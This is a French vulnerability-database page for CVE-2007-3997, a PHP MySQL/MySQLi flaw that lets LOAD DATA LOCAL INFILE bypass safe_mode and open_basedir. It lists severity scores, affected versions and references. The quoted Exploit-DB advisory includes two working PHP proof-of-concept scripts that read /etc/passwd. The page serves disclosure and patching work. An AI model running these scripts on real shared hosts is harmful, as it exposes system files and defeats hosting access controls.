CVE-2007-3997 : Détail

CVE-2007-3997

A01-Broken Access Control
7.68%V3
Network
2007-09-04 16:00 +00:00
2017-09-28 10:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

The (1) MySQL and (2) MySQLi extensions in PHP 4 before 4.4.8, and PHP 5 before 5.2.4, allow remote attackers to bypass safe_mode and open_basedir restrictions via MySQL LOCAL INFILE operations, as demonstrated by a query with LOAD DATA LOCAL INFILE.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 4392

Date de publication : 2007-09-09 22:00 +00:00
Auteur : Mattias Bengtsson
EDB Vérifié : Yes

Affected Products: <= PHP 5.2.3 <= PHP 4.4.7 Authors: Mattias Bengtsson <[email protected]> Philip Olausson <[email protected]> Reported: 2007-06-05 Released: 2007-08-30 CVE: CVE-2007-3997 Issue: A vulnerability exists in PHP's MySQL and MySQLi extenstions which can be used to bypass PHP's safe_mode security restriction. Description: PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. Details: By using MySQLs LOCAL INFILE we could bypass PHP's safe_mode security restriction. An important thing here is that we can't rely on the shared hosts MySQLds local-infile=0 option. This because of it being a server option, so it will not have any effect on the client. To disable this option for MySQL we need to compile libmysqlclient with --disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while connecting. PHP does this when open_basedir are in effect but lacks a check for safe_mode. For MySQLi compiling with --disable-local-infile won't help because we could just reenable it with mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1); Proof Of Concepts: MySQL: <?php file_get_contents('/etc/passwd'); $l = mysql_connect("localhost", "root"); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'"); mysql_close($l); mysql_connect("localhost", "aaaa"); mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $result = mysql_query("SELECT a FROM a.a"); while(list($row) = mysql_fetch_row($result)) print $row . chr(10); ?> MySQLi: <?php function r($fp, &$buf, $len, &$err) { print fread($fp, $len); } $m = new mysqli('localhost', 'aaaa', '', 'a'); $m->options(MYSQLI_OPT_LOCAL_INFILE, 1); $m->set_local_infile_handler("r"); $m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $m->close(); ?> Impact: This issue could have major impact on shared hosting systems. Solution: Upgrade PHP to 5.2.4 or 4.4.8 # milw0rm.com [2007-09-10]

Products Mentioned

Configuraton 0

Php>>Php >> Version From (including) 4.0.0 To (excluding) 4.4.8

Php>>Php >> Version From (including) 5.0.0 To (excluding) 5.2.4

References

http://secunia.com/advisories/26822
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2008/0059
Tags : vdb-entry, x_refsource_VUPEN
http://www.gentoo.org/security/en/glsa/glsa-200710-02.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.php.net/releases/4_4_8.php
Tags : x_refsource_CONFIRM
http://www.trustix.org/errata/2007/0026/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://securityreason.com/securityalert/3102
Tags : third-party-advisory, x_refsource_SREASON
http://secunia.com/advisories/26838
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27377
Tags : third-party-advisory, x_refsource_SECUNIA
https://www.exploit-db.com/exploits/4392
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.php.net/ChangeLog-4.php
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/27102
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/3023
Tags : vdb-entry, x_refsource_VUPEN
http://www.php.net/releases/5_2_4.php
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/28318
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26642
Tags : third-party-advisory, x_refsource_SECUNIA
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.